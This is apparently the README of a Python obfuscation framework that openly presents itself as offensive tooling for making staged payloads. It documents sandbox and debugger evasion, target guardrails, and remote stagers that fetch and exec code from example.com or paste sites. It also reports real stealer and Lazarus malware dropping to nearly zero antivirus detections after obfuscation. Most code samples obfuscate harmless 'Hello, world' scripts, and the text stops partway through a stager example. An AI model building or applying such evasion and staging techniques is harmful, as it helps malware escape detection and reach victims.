Python Obfuscation Framework - pof

Test it at pof.run.
Python Obfuscation Framework (pof), a complete Python offensive security toolkit
to generate staged obfuscated payloads.
pof will allow you to:
- Slow down static analysis with layered obfuscation and novel techniques.
- Evade sandbox by checking host information like MAC addresses, CPU count,
memory count, uptime, and much more.
- Add guardrails to ensure the payload only execute on the desired target
host by verifying for username, hostname, domainame and much more.
- Prevent dynamic analysis by detecting debugging or tracing via malloc.
- Create staged payloads, store stages inside images, on trusted sites,
encrypt, compress, or encode them, and much more.
- Enable automation to produce numerous variant of the same payload.
The main benefit of POF is customizability, you can generate your payload
however you want, choose the obfuscation you want and combine them.
Most obfuscation work very well when combined. For example obfuscating an int
from 42 to int("42") allows the string obfuscator to obfuscate it, turning
it into int("".join([chr(ord(i)-3)for i in'75'])). And we now have multiple
int and strings that we can once again obfuscate.
Example obfuscation:
print("Hello, world")
Output:
from base64 import b64decode as expected_data
from base64 import b85decode as _5269
globals()["".join([chr(ord(i)-3)for i in'bbvqlwolxebb'[::-1]])].__dict__[_5269('').decode().join([chr(ord(i)-3)for i in"".join([chr(ord(i)-3)for i in'mruhgry'])])]()[_5269(''[::-1]).decode().join([globals()[''[::-1].join([chr(ord(i)-3)for i in expected_data('YmJleGxvd2xxdmJi').decode()])].__dict__["".join([chr(ord(i)-3)for i in"".join([chr(ord(i)-3)for i in'inx'])])](__builtins__.__dict__.__getitem__("".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in expected_data('cnVn').decode()]))(i)-(__name__.__len__().__class__(__builtins__.__dict__.__getitem__(_5269('X>N1').decode())("".join([chr(ord(i)-3)for i in'3\u007b5']),0)+__builtins__.__getattribute__('egapraeytamrofel'[::-1].replace('egapraeytamrof'[::-1],expected_data('bg==').decode()))(expected_data("".join([chr(ord(i)-3)for i in']j@@'])).decode()))))for i in"".join([chr(ord(i)-3)for i in'eeh{olsy7bdgguvtyee']).replace(_5269('X>fKlUtwfqa&r').decode(),_5269('Z+C0').decode())])].__dict__[''[::-1].join([chr(ord(i)-3)for i in''[::-1]]).join([globals()[expected_data('XordinalidWlsdGlucordinalf'.replace('ordinal','19')).decode()].__dict__[expected_data('yh2Y'[::-1]).decode()](globals()[_5269(expected_data('VXRlTiVYPjQ/OVpnWEU+').decode()).decode()].__dict__[_5269('fold_countV'.replace('fold_count','Z*p')).decode()](i)-__builtins__.__getattribute__(expected_data("".join([chr(ord(i)-3)for i in'dZ83'])).decode())('quaencode_7or8bits'.replace('encode_7or8bit','ntile').replace("".join([chr(ord(i)-3)for i in'txdqwlohv']),"".join([chr(ord(i)-3)for i in'6']))))for i in expected_data('').decode().join([chr(ord(i)-3)for i in'ztoxv'[::-1]])])](expected_data(_5269('Q%6>FVKQQ0ad38HZFp+').decode().replace('pq_b2a'[::-1],'\u0062\u00478\u0073\u0049\u0048\u0064')).decode())
Same output formatted:
from base64 import b64decode as expected_data
from base64 import b85decode as _5269
globals()["".join([chr(ord(i) - 3) for i in "bbvqlwolxebb"[::-1]])].__dict__[
_5269("")
.decode()
.join([chr(ord(i) - 3) for i in "".join([chr(ord(i) - 3) for i in "mruhgry"])])
]()[
_5269(""[::-1])
.decode()
.join(
[
globals()[
""[::-1].join(
[
chr(ord(i) - 3)
for i in expected_data("YmJleGxvd2xxdmJi").decode()
]
)
].__dict__[
"".join(
[chr(ord(i) - 3) for i in "".join([chr(ord(i) - 3) for i in "inx"])]
)
](
__builtins__.__dict__.__getitem__(
"".join([chr(ord(i) - 3) for i in ""]).join(
[chr(ord(i) - 3) for i in expected_data("cnVn").decode()]
)
)(i)
- (
__name__.__len__().__class__(
__builtins__.__dict__.__getitem__(_5269("X>N1").decode())(
"".join([chr(ord(i) - 3) for i in "3\u007b5"]), 0
)
+ __builtins__.__getattribute__(
"egapraeytamrofel"[::-1].replace(
"egapraeytamrof"[::-1], expected_data("bg==").decode()
)
)(
expected_data(
"".join([chr(ord(i) - 3) for i in "]j@@"])
).decode()
)
)
)
)
for i in "".join([chr(ord(i) - 3) for i in "eeh{olsy7bdgguvtyee"]).replace(
_5269("X>fKlUtwfqa&r").decode(), _5269("Z+C0").decode()
)
]
)
].__dict__[
""[::-1]
.join([chr(ord(i) - 3) for i in ""[::-1]])
.join(
[
globals()[
expected_data(
"XordinalidWlsdGlucordinalf".replace("ordinal", "19")
).decode()
].__dict__[expected_data("yh2Y"[::-1]).decode()](
globals()[
_5269(expected_data("VXRlTiVYPjQ/OVpnWEU+").decode()).decode()
].__dict__[_5269("fold_countV".replace("fold_count", "Z*p")).decode()](
i
)
- __builtins__.__getattribute__(
expected_data("".join([chr(ord(i) - 3) for i in "dZ83"])).decode()
)(
"quaencode_7or8bits".replace("encode_7or8bit", "ntile").replace(
"".join([chr(ord(i) - 3) for i in "txdqwlohv"]),
"".join([chr(ord(i) - 3) for i in "6"]),
)
)
)
for i in expected_data("")
.decode()
.join([chr(ord(i) - 3) for i in "ztoxv"[::-1]])
]
)
](
expected_data(
_5269("Q%6>FVKQQ0ad38HZFp+")
.decode()
.replace("pq_b2a"[::-1], "\u0062\u00478\u0073\u0049\u0048\u0064")
).decode()
)
More examples and usage can be found in examples/ or in the section bellow.
Effectiveness
The tests are done using the default configuration of pof, no sandbox evasion
technique was used with obfuscation. Also note that I haven't tested the malware
to see if they still work, they should, but they may break with obfuscation.
Obfuscating a
Lazarus malware,
we go from
18/63
to
0/63
on virus total: 
Obfuscating
RedTigerStealer
we go from
26/63
to
1/62
on virus total: 
Obfuscating BTC-Clipper, we go
from
13/64
to
0/63
on virus total: 
Obfuscating a
Braodo malware,
we go from
10/61
to
0/63
on virus total: 
Obfuscating
Python-File-Stealer,
we go from
4/63
to
0/63
on virus total: 
Install
You can install POF with pip install, inside a container or try it online at
pof.run:
echo 'print("Hello, world!")' | curl -X POST -d @- https://pof.run
PIP
From pypi:
pip install python-obfuscation-framework
Docker
docker run --rm ghcr.io/deoktr/python-obfuscation-framework:latest --help
Run inside Docker from a local file in.py:
docker run --rm -v $(pwd):/tmp -w /tmp ghcr.io/deoktr/python-obfuscation-framework:latest in.py -o out.py
Or pipe input and output:
cat in.py | docker run --rm -i ghcr.io/deoktr/python-obfuscation-framework:latest > out.py
Usage
You can select the obfuscation level with the -f flag, here are the levels:
- basic
- moderate
- advanced
- extreme
Or you can specify and use a single obfuscator.
echo "print('Hello, world')" | pof
pof in.py -o out.py
pof in.py > out.py
pof in.py | python
pof in.py -o out.py -f basic
pof in.py -o out.py -f moderate
pof in.py -o out.py -f advanced
pof in.py -o out.py -f extreme
pof in.py -o out.py -f obfuscator -k BuiltinsObfuscator
pof in.py -o out.py -f stager -k PasteRsStager
pof in.py -o out.py -f evasion -k CPUCountEvasion
pof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4
pof in.py -f obfuscator -k BuiltinsObfuscator |\
pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\
pof -f stager -k PasteRsStager > out.py
You can also use the Python API directly, you can find examples or see API usage
bellow.
Examples
These are examples of obfuscators of the script print('Hello, world').
To select an obfuscator use the flag -f obfuscator and
-k ObfuscatorClassName.
To reproduce the examples you can use the following command:
echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator
To test the validity of the output you can simply pipe it to Python:
echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator | python
Obfuscator
NamesObfuscator obfuscator is renaming variables, classes, and functions.
Source in examples/source.py.
import os
def BJM4FaQJf1():
"""Get Linux release info from /etc/os-release."""
h77 = '/etc/os-release'
if not os.path.exists(h77):
print('OS release file not found. This might not be a Linux system.')
return None
jkFr = {}
try:
with open(h77, 'r') as LfQ:
for GIVt40c7RR in LfQ:
if not GIVt40c7RR or '=' not in GIVt40c7RR:
continue
KPO5j, RQvTXmL = GIVt40c7RR.strip().split('=', 1)
RQvTXmL = RQvTXmL.strip('"\'\n')
jkFr[KPO5j] = RQvTXmL
print('\nLinux Release Information:')
print(f"Distribution: {jkFr.get('NAME', 'Unknown')}")
print(f"Version: {jkFr.get('VERSION', 'Unknown')}")
print(f"Version ID: {jkFr.get('VERSION_ID', 'Unknown')}")
print(f"Pretty Name: {jkFr.get('PRETTY_NAME', 'Unknown')}")
return jkFr
except Exception as LzYLqi_:
print(f'Error reading release file: {LzYLqi_}')
return None
if __name__ == '__main__':
if os.name == 'posix' and os.path.exists('/etc/os-release'):
yv4HAqmn = BJM4FaQJf1()
else:
print('This script is designed for Linux systems.')
Other very basic obfuscation functions are done by specific obfuscators like:
- Removing comments with
CommentsObfuscator.
- Replacing exception messages with
ExceptionObfuscator.
- Reducing indentation to a single space with
IndentsObfuscator.
- Replace log messages with
LoggingObfuscator or remove them with
LoggingRemoveObfuscator.
- Remove empty lines with
NewlineObfuscator.
- Remove print statements with
PrintObfuscator.
- Remove type hints with
TypeHintsObfuscator.
StringsObfuscator
print('dlrow ,olleH'[::-1])
print('Helnelemd'.replace('nelem','lo, worl'))
print("".join([d if g%3==0 else""for g,d in enumerate('H9IesYlvJl5loU4,dK nDw51ovsrozl0UdoI!jL')]))
print('\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64')
print('\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064')
print("".join([chr(ord(i)-3)for i in'Khoor/#zruog']))
from base64 import b64decode
print(b64decode( b'SGVsbG8sIHdvcmxk').decode())
from base64 import b85decode
print(b85decode( b'NM&qnZ!92pZ*pv8').decode())
NumberObfuscator
Source: print(42)
print(int('42'))
print((int(35+7)))
print(int('0x2a',0))
print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'))
print((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))
print((53^31))
print((21<<1))
print((~(~42)))
BooleanObfuscator
Source: print(True)
print(not False)
print(all([]))
print(any([True]))
print(not not True)
print('' in '')
print(bool(1))
print(bool(1&1))
print(bool(~0))
Source: print(False)
print(bool(1&0))
print(bool(1^1))
print(bool(0|0))
ConstantsObfuscator
Move every variable at the top of the file with random names.
N842V="\"'\n"
gvBXIX='NAME'
Lzxdy='VERSION'
NklI="__main__"
IoTpEBJ='VERSION_ID'
eQqDDpOL=1
IpEPxvQ="This script is designed for Linux systems."
ka6U_Q='PRETTY_NAME'
hCf5UQQT="="
GMUC6z="/etc/os-release"
eOa=Exception
CCCs=None
EUr2fN=open
wGDb="r"
hm8="OS release file not found. This might not be a Linux system."
QElu="posix"
fNdZY9=__name__
LvMs="\nLinux Release Information:"
uFCf7Vy='Unknown'
joyHA=print
import os
def get_linux_release_info():
"""Get Linux release info from /etc/os-release."""
release_file=GMUC6z
if not os.path.exists(release_file):
joyHA(hm8)
return CCCs
release_info={}
try:
with EUr2fN(release_file,wGDb)as f:
for line in f:
if not line or hCf5UQQT not in line:
continue
key,value=line.strip().split(hCf5UQQT,eQqDDpOL)
value=value.strip(N842V)
release_info[key]=value
joyHA(LvMs)
joyHA(f"Distribution: {release_info.get(gvBXIX,uFCf7Vy)}")
joyHA(f"Version: {release_info.get(Lzxdy,uFCf7Vy)}")
joyHA(f"Version ID: {release_info.get(IoTpEBJ,uFCf7Vy)}")
joyHA(f"Pretty Name: {release_info.get(ka6U_Q,uFCf7Vy)}")
return release_info
except eOa as e:
joyHA(f"Error reading release file: {e}")
return CCCs
if fNdZY9==NklI:
if os.name==QElu and os.path.exists(GMUC6z):
release_details=get_linux_release_info()
else:
joyHA(IpEPxvQ)
BuiltinsObfuscator
Obfuscate builtins functions using one of the following methods.
__builtins__.__getattribute__('print')('Hello, world')
__builtins__.__dict__['print']('Hello, world')
globals()['__builtins__'].__dict__['print']('Hello, world')
__builtins__.__dict__.__getitem__('print')('Hello, world')
Extract variables in the same context level, meaning if inside a function will
add the variable at the beginning of it.
var='Hello, world'
print(var)
CallObfuscator
print.__call__('Hello, world')
GlobalsObfuscator
Replaces call of global functions with globals()['func_name']().
Source in examples/source.py.
import os
def get_linux_release_info():
release_file="/etc/os-release"
if not os.path.exists(release_file):
print("OS release file not found. This might not be a Linux system.")
return None
release_info={}
try:
with open(release_file,"r")as f:
for line in f:
if not line or"="not in line:
continue
key,value=line.strip().split("=",1)
value=value.strip("\"'\n")
release_info[key]=value
print("\nLinux Release Information:")
print(f"Distribution: {release_info.get('NAME','Unknown')}")
print(f"Version: {release_info.get('VERSION','Unknown')}")
print(f"Version ID: {release_info.get('VERSION_ID','Unknown')}")
print(f"Pretty Name: {release_info.get('PRETTY_NAME','Unknown')}")
return release_info
except Exception as e:
print(f"Error reading release file: {e}")
return None
if __name__=="__main__":
if os.name=="posix"and os.path.exists("/etc/os-release"):
release_details=globals()['get_linux_release_info']()
else:
print("This script is designed for Linux systems.")
[!NOTE]
This combines perfectly with a string obfuscator, since the function call
becomes ones, it's easy to obfuscate.
ShiftObfuscator
exec("".join([chr(ord(i)-3)for i in'sulqw+*Khoor/#zruog*,\r']))
DocstringObfuscator
Store original code inside functions and classes comments as base64.
from base64 import b64decode
class L8EU:
"""cHJpbnQoIkhlbGxvLCB3b3JsZCEiKQo="""
pass
exec(b64decode("".join([L8EU.__doc__]).replace('\\n','').replace(' ','')))
SpacenTabObfuscator
def sntdecode(encoded):
msg_bin=encoded.replace(" ","0").replace("\t","1")
n=int(msg_bin,2)
return n.to_bytes((n.bit_length()+7)//8,"big")
exec(sntdecode('\t\t\t \t\t\t \t \t\t \t \t \t\t \t\t\t \t\t\t \t \t \t \t \t\t\t \t \t \t\t \t \t \t\t \t\t \t\t \t\t \t\t \t\t\t\t \t \t\t \t \t\t\t \t\t\t \t\t \t\t\t\t \t\t\t \t \t\t \t\t \t\t \t \t \t\t\t \t \t \t \t \t '))
WhitespaceObfuscator
Use whitespace and zero width whitespace \u200B.
def wsdecode(encoded):
msg_bin=encoded.replace(" ","0").replace('\u200b',"1")
n=int(msg_bin,2)
return n.to_bytes((n.bit_length()+7)//8,"big")
exec(wsdecode("βββ βββ β ββ β β ββ βββ βββ β β β β βββ β β ββ β β ββ ββ ββ ββ ββ ββββ β ββ β βββ βββ ββ ββββ βββ β ββ ββ ββ β β βββ β β β β β "))
RC4Obfuscator
[!WARNING]
The RC4 obfuscator (and other cipher obfuscators) will combine both, the
cipher text and the key in the same file, this is obviously not secure, and
should never be used for security purposes. The idea behind this obfuscator is
to fool humans, AV, EDR, network TAP etc. not to be secured and safe.
import codecs
def rc4decrypt(key,ciphertext):
def KSA(key):
key_length=len(key)
S=list(range(256))
j=0
for i in range(256):
j=(j+S[i]+key[i%key_length])%256
S[i],S[j]=S[j],S[i]
return S
def PRGA(S):
i=0
j=0
while True:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
K=S[(S[i]+S[j])%256]
yield K
def get_keystream(key):
S=KSA(key)
return PRGA(S)
def encrypt_logic(key,text):
key=[ord(c)for c in key]
keystream=get_keystream(key)
res=[]
for c in text:
val="%02X"%(c^next(keystream))
res.append(val)
return"".join(res)
ciphertext=codecs.decode(ciphertext,"hex_codec")
res=encrypt_logic(key,ciphertext)
return codecs.decode(res,"hex_codec").decode("utf-8")
exec(rc4decrypt('7zSRE6YHmdwpx2zT1Q2xPoPwzztXRZNQSKeX2LFIKBhl7uJMAs9jj0Hlec6y3wjuNgqgdD1XjnqZSzkWhRldoWwn625Bw56r105zQg5KRE5ugmVOUy2adMWKH2hod0CfxW72XLGFDTt38OH5nDYcr2bXrokKDKCaie56agxxHmSwv4nwTNQlxjyrixBgeyjaDV8CLvdmS4ANRXXVs5HxhxlFiBBUoHadf1wLq0wDi5c0e93fmqqNCRHAMAoTkGJJPCfXc9kTHmW38NJcjnVgvAgrBIcJX66E8pLwUniQB0yvoHapq2RCxaV8PrhU0jFy9RWTrwDfoE3G7whrE8uobVUgFLiJsiH6eV63RvH03gUEi1EHo0YGrRo12yShLG0P8pfSawTjTkJlQOFQ2PsubnQm8fhZ6en7nHI2L2xpC88yNScapMnsRaYUHZFWdecVfOaq9QaMf76RzYpQ7F5LWKgcEG3WGiXReCU1hr5pAoomAcXMZftcYuJu5AuOsXSR','647F6846CBEF6C270D853D3F76650D51DE1CAD760C17'))
XORObfuscator
from base64 import b64decode
def decrypt(cipher,key):
bcipher=bytearray(b64decode(cipher))
text=bytearray()
ki=0
for i in bcipher:
text.append(i^key[ki%len(key)])
ki+=1
return text
exec(decrypt( b'RkNfWkAcHnxTXVpbGBROW0RdUhMdPg==', b'61644494').decode())
[!WARNING]
Like for the RC4 cipher the XOR obfuscator shouldn't be used for security
purposes, its main goal is to evade common security tools, not protect the
information! Plus the XOR cipher is really weak and easy to crack.
DeepEncryptionObfuscator
Encrypt each function's source code using base64 encoding. The function body is
replaced with a exec(b64decode(...)) call that decrypts and executes the
original code at runtime. This prevents the entire source code from being
accessible at once in memory.
Source in examples/source.py.
from base64 import b64decode
import os
def get_linux_release_info():
r_dict=globals().copy()
r_dict.update(locals())
exec(b64decode( b'IiIiR2V0IExpbnV4IHJlbGVhc2UgaW5mbyBmcm9tIC9ldGMvb3MtcmVsZWFzZS4iIiIKCiMgQ2hlY2sgaWYgdGhlIGZpbGUgZXhpc3RzCnJlbGVhc2VfZmlsZSA9Ii9ldGMvb3MtcmVsZWFzZSIKCmlmIG5vdCBvcyAucGF0aCAuZXhpc3RzIChyZWxlYXNlX2ZpbGUgKToKICAgIHByaW50ICgiT1MgcmVsZWFzZSBmaWxlIG5vdCBmb3VuZC4gVGhpcyBtaWdodCBub3QgYmUgYSBMaW51eCBzeXN0ZW0uIikKICAgIHIgPU5vbmUgCgogICAgIyBEaWN0aW9uYXJ5IHRvIHN0b3JlIHJlbGVhc2UgaW5mb3JtYXRpb24KcmVsZWFzZV9pbmZvID17fQoKdHJ5IDoKIyBSZWFkIGFuZCBwYXJzZSB0aGUgZmlsZQogICAgd2l0aCBvcGVuIChyZWxlYXNlX2ZpbGUgLCJyIilhcyBmIDoKICAgICAgICBmb3IgbGluZSBpbiBmIDoKICAgICAgICAgICAgaWYgbm90IGxpbmUgb3IgIj0ibm90IGluIGxpbmUgOgogICAgICAgICAgICAgICAgY29udGludWUgCgogICAgICAgICAgICAgICAgIyBTcGxpdCBrZXkgYW5kIHZhbHVlCiAgICAgICAgICAgIGtleSAsdmFsdWUgPWxpbmUgLnN0cmlwICgpLnNwbGl0ICgiPSIsMSApCgogICAgICAgICAgICAjIFJlbW92ZSBxdW90ZXMgZnJvbSB2YWx1ZQogICAgICAgICAgICB2YWx1ZSA9dmFsdWUgLnN0cmlwICgiXCInXG4iKQoKICAgICAgICAgICAgIyBTdG9yZSBpbiBkaWN0aW9uYXJ5CiAgICAgICAgICAgIHJlbGVhc2VfaW5mbyBba2V5IF09dmFsdWUgCgogICAgICAgICAgICAjIFByaW50IGtleSByZWxlYXNlIGluZm9ybWF0aW9uCiAgICBwcmludCAoIlxuTGludXggUmVsZWFzZSBJbmZvcm1hdGlvbjoiKQogICAgcHJpbnQgKGYiRGlzdHJpYnV0aW9uOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdOQU1FJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJWZXJzaW9uOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdWRVJTSU9OJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJWZXJzaW9uIElEOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdWRVJTSU9OX0lEJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJQcmV0dHkgTmFtZToge3JlbGVhc2VfaW5mbyAuZ2V0ICgnUFJFVFRZX05BTUUnLCdVbmtub3duJyl9IikKCiAgICByID1yZWxlYXNlX2luZm8gCgpleGNlcHQgRXhjZXB0aW9uIGFzIGUgOgogICAgcHJpbnQgKGYiRXJyb3IgcmVhZGluZyByZWxlYXNlIGZpbGU6IHtlIH0iKQogICAgciA9Tm9uZSAKCgogICAgIyBNYWluIGV4ZWN1dGlvbgo='),r_dict)
if'r'not in r_dict:
return None
r_val=r_dict['r']
del r_dict
return r_val
if __name__=="__main__":
if os.name=="posix"and os.path.exists("/etc/os-release"):
release_details=get_linux_release_info()
else:
print("This script is designed for Linux systems.")
[!NOTE]
Functions containing yield or super are skipped and left unchanged. The
return statements inside the encrypted function body are replaced with
variable assignments to support return value propagation through exec().
Compression
import bz2,marshal
exec(marshal.loads(bz2.decompress( b'BZh91AY&SY\xcf\xf8\xcd\xdc\x00\x00\ru\x80\xc0\x10\x01\x00@\xe4\x00@\x06%\xd4\x80\x08\x00 \x00"&\x80d\x196\xa1L&\x9a\x03LI\x99\\eR\x15\xcd\xb9\x04\xd4s\x1d\x08\x00\xf8\xbb\x92)\xc2\x84\x86\x7f\xc6n\xe0')))
import gzip,marshal
exec(marshal.loads(gzip.decompress( b'\x1f\x8b\x08\x00$p\x91d\x02\xff\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00\xf2\x90\x8eA\x1b\x00\x00\x00')))
import lzma,marshal
exec(marshal.loads(lzma.decompress( b"\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\x01\x00\x1a\xf3\x16\x00\x00\x00print('Hello, world')\n\x00\x00\xd5\xa4\x00\xec\xfa;\x9c\xf1\x00\x013\x1b\xf7\x19\x88^\x1f\xb6\xf3}\x01\x00\x00\x00\x00\x04YZ")))
import zlib,marshal
exec(marshal.loads(zlib.decompress( b'x\x9c\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00va\x08H')))
Encoding
from base64 import a85decode
exec(a85decode('E,oZ1F=8M-ASc1$/0K.TEbo86.1-'))
from base64 import b16decode
exec(b16decode('7072696E74282748656C6C6F2C20776F726C6427290A'))
from base64 import b32decode
exec(b32decode('OBZGS3TUFATUQZLMNRXSYIDXN5ZGYZBHFEFA===='))
from base64 import b32hexdecode
exec(b32hexdecode('E1P6IRJK50JKGPBCDHNIO83NDTP6OP175450===='))
from base64 import b64decode
exec(b64decode('cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='))
from base64 import b85decode
exec(b85decode('aB^vGbSNiCWo&G3EFgDpa%^NLDGC'))
import binascii,marshal
exec(marshal.loads(binascii.a2b_base64( b'8xYAAABwcmludCgnSGVsbG8sIHdvcmxkJykK\n')))
Special Encoding
from tokenize import untokenize
exec(untokenize([(1,'print'),(54,'('),(3,"'Hello, world'"),(54,')'),(4,'\n'),(0,''),]))
import binascii
exec(binascii.a2b_hex(''.join(['7072:696e:7428:2748:656c:6c6f:2c20:776f','726c:6427:290a:1000:0000:0000:0000:0000',]).replace(':','').strip('0')[:-1]))
import binascii
exec(binascii.a2b_hex(''.join(['70-72-69-6e-74-28','27-48-65-6c-6c-6f','2c-20-77-6f-72-6c','64-27-29-0a-10-00',]).replace('-','').strip('0')[:-1]))
exec(binascii.a2b_hex("".join(['7072696e-7428-2748-656c-6c6f2c20776f','726c6427-290a-1000-0000-000000000000',]).replace("-","").strip('0')[:-1]))
ImportsObfuscator
Remove keyword import.
X = __import__("X")
Y = __import__("X")
X = __import__("X")
Y = __import__("Y")
X = __import__("X.Y")
Y = __import__("X", fromlist=["Y"]).Y
Z = __import__("X", fromlist=["Y"]).Y
Y = __import__("X", fromlist=["Y"]).Y
Z = __import__("X", fromlist=["Z"]).Z
[!NOTE]
Does not support wildcard imports *, or local imports from . import.
CharFromDocObfuscator
Get a single character from a documentation.
Source: print('h')
print(oct.__doc__[8])
[!WARNING]
This is highly prone to error, if the documentation change between Python
versions, then this may break.
print("Hello, world!")
The list of comments available is inside a file, all the comments have been
extracted from Python standard library.
AddNewlinesObfuscator
Add random new lines everywhere it's possible.
print("Hello, world!")
ControlFlowFlattenObfuscator
Classic control flow flattening.
Source:
def greet(name):
msg = "Hello, "
msg = msg + name
return msg
Output:
def greet(name):
_state=936
_ret=None
while _state!=435:
if _state==995:
msg=msg+name
_state=528
elif _state==936:
msg='Hello, '
_state=995
elif _state==528:
_ret=msg
_state=435
return _ret
[!NOTE]
Functions containing yield, async, or try/except are skipped and left unchanged.
DeadCodeObfuscator
Insert dead (unreachable/unused) code blocks into the source.
while False:
Etb4inx6B1=[21,7,46,2]
agw_QLOu=283-42
FwQ2='msg'
print('Hello, world')
AddTypeHintsObfuscator
Insert random type hints.
Source:
def foo(x):
z = x + 2
print(z)
Obfuscated:
def foo(x: dict[dict[bytearray, None], frozenset[complex]])-> str | type:
z: complex | dict[memoryview, complex]=x+2
print(z)
Stager
DownloadStager
from urllib import request
exec(request.urlopen("https://example.com/payload.py").read())
ImageStager
The modified picture is not included in this example.
import sys
from PIL import Image
def decode(im_in):
msg_bin=""
im=Image.open(im_in)
px=im.load()
for x in range(im.size[0]):
for y in range(im.size[1]):
pixels=px[x,y]
msg_bin+=bin(pixels[0])[-1]
n=8
mmsg_bin="0"+msg_bin
chunks=[mmsg_bin[i:i+n]for i in range(0,len(mmsg_bin),n)]
i=chunks.index("0"*8)
msg_bin=msg_bin[:(8*i)-1]
n=int(msg_bin,2)
msg=n.to_bytes((n.bit_length()+7)//8,"big").decode()
return msg
exec(decode(sys.argv.pop(1)))
PastebinStager
from urllib import request
exec(request.urlopen("https://pastebin.com/raw/...").read())
[!NOTE]
You'll need to add a pastebin API key:
echo "print('Hello, world')" | pof -f stager -k PastebinStager api_dev_key=foo
The PasteRsStager and Cl1pNetStager are exactly the same, but the code is
not uploaded to the same site. But PasteRsStager doesn't require an API key.
RC4Stager
The RC4 stager needs to be called with the key has its first argument.
import sys
import codecs
def rc4decrypt(key,ciphertext):
def KSA(key):
key_length=len(key)
S=list(range(256))
j=0
for i in range(256):
j=(j+S[i]+key[i%key_length])%256
S[i],S[j]=S[j],S[i]
return S
def PRGA(S):
i=0
j=0
while True:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
K=S[(S[i]+S[j])%256]
yield K
def get_keystream(key):
S=KSA(key)
return PRGA(S)
def encrypt_logic(key,text):
key=[ord(c)for c in key]
keystream=get_keystream(key)
res=[]
for c in text:
val="%02X"%(c^next(keystream))
res.append(val)
return"".join(res)
ciphertext=codecs.decode(ciphertext,"hex_codec")
res=encrypt_logic(key,ciphertext)
return codecs.decode(res,"hex_codec").decode("utf-8")
exec(rc4decrypt(sys.argv.pop(1),'A0E9F66914B121B6CD9A7E4532EF281DBB0B8D7FF597A4D5FA2C5EBB47BA2801B33B21819B1F62D5A5D2BDC1E4A4ACD159FB581F860F44D0E4F493C8F55858C83D19EF5DD1BBEB0D143E5C5C9FFF621B187985B6F9FC03E83F80BA3DCD55217949FA04B2F58EC862CC701A0734D1ADB231E5DA54C11E505F520D1B53E50E1F36AA20A163D2BFA43C3E5DDA259A12683C3379D4115C0483C088236FB5DA667EE79D288D99F73A07FCF3F445F933B637B26DD32CC0A0EBE646E7644D2324937910ECB4752E8CEDC09729AF476579944DC13E3629C42634C9483D89617F8941F68506470D53BCC6A94B592101260B96B1BFD83A6C2248E725FF31E4592D21038D677A239E1BA4F9031F7F728DE835BF0C8B28920868A6B880E37C2BBF5E37291210F15F389BF42522D6A9668BA334474D9048AE66997C0AED01178B2EA75DB4D592CBB898773D982A91242AB434F54F00E6B747940D8D0228CB885E8A4977494350FFFA2D2428D0525F8A5A6A22899B0195AD278E804B7BCC47B499DD32329C56B4DB7A6FA81DC935DA9978961604951F0F63757FA754291B32D8E03BE815A38A5EDACB04516AEEAD0F9BA2FB4D8C3E8F5050D810B3B94B1A445973E775114112D279673715858CBA8C4C745C8B9D78CFF81B5C151EACB2E739612C7776BC081B5CA54AF6860E6F04A80F5645B011F4A4'))
For this example, the randomly generated key is:
TzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC
So we could call it like this:
python3 out.py TzyaoO...
QuineStager
from base64 import b64decode
from tokenize import untokenize
esource='cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg=='
